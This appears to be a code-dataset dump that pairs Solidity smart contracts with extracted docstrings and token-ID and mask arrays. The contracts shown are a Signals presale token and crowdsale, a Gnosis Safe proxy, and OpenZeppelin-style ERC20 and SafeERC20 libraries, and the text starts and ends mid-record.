203,
203,
565,
445,
852,
17420,
4818,
12,
11890,
5034,
9389,
2
] |
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Signals token
* @dev Mintable token created for Signals.Network
*/
contract SignalsToken is PausableToken, MintableToken {
// Standard token variables
string constant public name = "SGNPresaleToken";
string constant public symbol = "SGN";
uint8 constant public decimals = 9;
event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens);
/*
* Constructor which pauses the token at the time of creation
*/
function SignalsToken() {
pause();
}
/*
* @dev Token burn function to be called at the time of token swap
* @param _partner address to use for token balance buring
* @param _tokens uint256 amount of tokens to burn
*/
function burnTokens(address _partner, uint256 _tokens) public onlyOwner {
require(balances[_partner] >= _tokens);
balances[_partner] -= _tokens;
totalSupply -= _tokens;
TokensBurned(msg.sender, _partner, _tokens);
}
}
// Public PreSale register contract
contract PresaleRegister is Ownable {
mapping (address => bool) verified;
event ApprovedInvestor(address indexed investor);
/*
* Approve function to adjust allowance to investment of each individual investor
* @param _investor address sets the beneficiary for later use
* @param _amount uint256 is the newly assigned allowance of tokens to buy
*/
function approve(address _investor) onlyOwner public{
verified[_investor] = true;
ApprovedInvestor(_investor);
}
/*
* Constant call to find out if an investor is registered
* @param _investor address to be checked
* @return bool is true is _investor was approved
*/
function approved(address _investor) constant public returns (bool) {
return verified[_investor];
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
SignalsToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, address _wallet, SignalsToken _tokenAddress) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_wallet != 0x0);
token = _tokenAddress;
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) private {}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title Signals token pre-sale
* @dev Curated pre-sale contract based on OpenZeppelin implementations
*/
contract PublicPresale is FinalizableCrowdsale {
// define PublicPresale depended variables
uint256 tokensSold;
uint256 toBeSold;
uint256 price;
PresaleRegister public register;
event PresaleExtended(uint256 newEndTime);
/**
* @dev The constructor
* @param _startTime uint256 is a time stamp of presale start
* @param _endTime uint256 is a time stamp of presale end (can be changed later)
* @param _wallet address is the address the funds will go to - it's not a multisig
* @param _token address is the address of the token contract (ownership is required to handle it)
* @param _register address is the investor registry
*/
function PublicPresale(uint256 _startTime, uint256 _endTime, address _wallet, SignalsToken _token, PresaleRegister _register)
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, _wallet, _token)
{
register = _register;
toBeSold = 1969482*1000000000;
price = 692981;
}
/*
* Buy in function to be called mostly from the fallback function
* @dev kept public in order to buy for someone else
* @param beneficiary address
*/
function buyTokens(address beneficiary) private {
require(beneficiary != 0x0);
require(validPurchase());
// Check the register if the investor was approved
require(register.approved(beneficiary));
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 toGet = howMany(msg.value);
require((toGet > 0) && (toGet.add(tokensSold) <= toBeSold));
// update state
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(toGet);
token.mint(beneficiary, toGet);
TokenPurchase(msg.sender, beneficiary, weiAmount, toGet);
forwardFunds();
}
/*
* Helper token emission functions
* @param value uint256 of the wei amount that gets invested
* @return uint256 of how many tokens can one get
*/
function howMany(uint256 value) view public returns (uint256){
return (value/price);
}
/*
* Adjust finalization to transfer token ownership to the fund holding address for further use
*/
function finalization() internal {
token.transferOwnership(wallet);
}
/*
* Optional settings to extend the duration
* @param _newEndTime uint256 is the new time stamp of extended presale duration
*/
function extendDuration(uint256 _newEndTime) onlyOwner {
require(!isFinalized);
require(endTime < _newEndTime);
endTime = _newEndTime;
PresaleExtended(_newEndTime);
}
}
|
* @title Crowdsale @dev Crowdsale is a base contract for managing a token crowdsale. Crowdsales have a start and end timestamps, where investors can make token purchases and the crowdsale will assign them tokens based on a token per ETH rate. Funds collected are forwarded to a wallet as they arrive./ The token being sold start and end timestamps where investments are allowed (both inclusive) address where funds are collected amount of raised money in wei
|
contract Crowdsale {
using SafeMath for uint256;
SignalsToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, address _wallet, SignalsToken _tokenAddress) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_wallet != 0x0);
token = _tokenAddress;
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) private {}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
| 12,951,537 |
[
1,
39,
492,
2377,
5349,
225,
385,
492,
2377,
5349,
353,
279,
1026,
6835,
364,
30632,
279,
1147,
276,
492,
2377,
5349,
18,
385,
492,
2377,
5408,
1240,
279,
787,
471,
679,
11267,
16,
1625,
2198,
395,
1383,
848,
1221,
1147,
5405,
343,
3304,
471,
326,
276,
492,
2377,
5349,
903,
2683,
2182,
2430,
2511,
603,
279,
1147,
1534,
512,
2455,
4993,
18,
478,
19156,
12230,
854,
19683,
358,
279,
9230,
487,
2898,
2454,
688,
18,
19,
1021,
1147,
3832,
272,
1673,
787,
471,
679,
11267,
1625,
2198,
395,
1346,
854,
2935,
261,
18237,
13562,
13,
1758,
1625,
284,
19156,
854,
12230,
3844,
434,
11531,
15601,
316,
732,
77,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
385,
492,
2377,
5349,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
4383,
1031,
1345,
1071,
1147,
31,
203,
203,
565,
2254,
5034,
1071,
8657,
31,
203,
565,
2254,
5034,
1071,
13859,
31,
203,
203,
565,
1758,
1071,
9230,
31,
203,
203,
565,
2254,
5034,
1071,
732,
77,
12649,
5918,
31,
203,
203,
565,
871,
3155,
23164,
12,
2867,
8808,
5405,
343,
14558,
16,
1758,
8808,
27641,
74,
14463,
814,
16,
2254,
5034,
460,
16,
2254,
5034,
3844,
1769,
203,
203,
203,
565,
445,
385,
492,
2377,
5349,
12,
11890,
5034,
389,
1937,
950,
16,
2254,
5034,
389,
409,
950,
16,
1758,
389,
19177,
16,
4383,
1031,
1345,
389,
2316,
1887,
13,
288,
203,
3639,
2583,
24899,
1937,
950,
1545,
2037,
1769,
203,
3639,
2583,
24899,
409,
950,
1545,
389,
1937,
950,
1769,
203,
3639,
2583,
24899,
19177,
480,
374,
92,
20,
1769,
203,
203,
3639,
1147,
273,
389,
2316,
1887,
31,
203,
3639,
8657,
273,
389,
1937,
950,
31,
203,
3639,
13859,
273,
389,
409,
950,
31,
203,
3639,
9230,
273,
389,
19177,
31,
203,
565,
289,
203,
203,
203,
565,
445,
1832,
8843,
429,
288,
203,
3639,
30143,
5157,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
30143,
5157,
12,
2867,
27641,
74,
14463,
814,
13,
3238,
2618,
203,
565,
445,
5104,
42,
19156,
1435,
2713,
288,
203,
3639,
9230,
18,
13866,
12,
3576,
18,
1132,
1769,
203,
565,
289,
203,
203,
565,
445,
923,
23164,
1435,
2713,
5381,
1135,
261,
2
] |
./full_match/82/0x386A478c9468105E3110fAa054B39cC203BBC348/sources/project_/contracts/proxies/GnosisSafeProxy.sol
|
@title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. @author Stefan George - <[email protected]> @author Richard Meissner - <[email protected]> singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
|
contract GnosisSafeProxy {
address internal singleton;
constructor(address _singleton)
public
{
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
external
payable
fallback ()
{
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
return(0, returndatasize())
}
}
{
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
return(0, returndatasize())
}
}
{
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
return(0, returndatasize())
}
}
if eq(success, 0) { revert(0, returndatasize()) }
}
| 7,094,941 |
[
1,
43,
18050,
291,
9890,
3886,
300,
7928,
2889,
6835,
5360,
358,
1836,
777,
8938,
13650,
326,
981,
434,
279,
4171,
6835,
18,
225,
7780,
74,
304,
15391,
280,
908,
300,
411,
334,
10241,
304,
36,
1600,
538,
291,
18,
1594,
34,
225,
534,
1354,
1060,
7499,
1054,
1224,
300,
411,
12761,
1060,
36,
1600,
538,
291,
18,
1594,
34,
6396,
3712,
4260,
358,
506,
1122,
7886,
2190,
16,
358,
3387,
716,
518,
353,
622,
326,
1967,
2117,
316,
326,
20092,
358,
1492,
4097,
854,
30055,
18,
2974,
5459,
6314,
22793,
333,
2190,
353,
2713,
471,
4260,
358,
506,
10295,
3970,
1375,
588,
3245,
861,
68,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
611,
18050,
291,
9890,
3886,
288,
203,
203,
565,
1758,
2713,
6396,
31,
203,
203,
565,
3885,
12,
2867,
389,
24487,
13,
203,
3639,
1071,
203,
565,
288,
203,
3639,
2583,
24899,
24487,
480,
1758,
12,
20,
3631,
315,
1941,
6396,
1758,
2112,
8863,
203,
3639,
6396,
273,
389,
24487,
31,
203,
565,
289,
203,
203,
3639,
3903,
203,
3639,
8843,
429,
203,
565,
5922,
1832,
203,
565,
288,
203,
3639,
19931,
288,
203,
5411,
2231,
389,
24487,
519,
471,
12,
87,
945,
12,
20,
3631,
374,
5297,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
18217,
13,
203,
5411,
309,
7555,
12,
1991,
72,
3145,
6189,
12,
20,
3631,
374,
6995,
26,
15613,
5292,
73,
12648,
12648,
12648,
12648,
12648,
12648,
12648,
13,
288,
203,
7734,
312,
2233,
12,
20,
16,
389,
24487,
13,
203,
7734,
327,
12,
20,
16,
374,
92,
3462,
13,
203,
5411,
289,
203,
5411,
745,
892,
3530,
12,
20,
16,
374,
16,
745,
13178,
554,
10756,
203,
5411,
2231,
2216,
519,
7152,
1991,
12,
31604,
9334,
389,
24487,
16,
374,
16,
745,
13178,
554,
9334,
374,
16,
374,
13,
203,
5411,
327,
892,
3530,
12,
20,
16,
374,
16,
327,
13178,
554,
10756,
203,
5411,
327,
12,
20,
16,
327,
13178,
554,
10756,
203,
3639,
289,
203,
565,
289,
203,
565,
288,
203,
3639,
19931,
288,
203,
5411,
2231,
389,
24487,
519,
471,
12,
87,
945,
12,
20,
3631,
374,
5297,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
18217,
13,
203,
5411,
309,
7555,
12,
1991,
2
] |
// File: ERC20.sol
pragma solidity ^0.5.10;
/// @title ERC20 interface is a subset of the ERC20 specification.
/// @notice see https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function allowance(address _owner, address _spender) external view returns (uint256);
function approve(address _spender, uint256 _value) external returns (bool);
function balanceOf(address _who) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
}
// File: SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: Address.sol
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: SafeERC20.sol
/**
* The MIT License (MIT)
*
* Copyright (c) 2016-2019 zOS Global Limited
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(ERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(ERC20 token, bytes memory data) internal {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
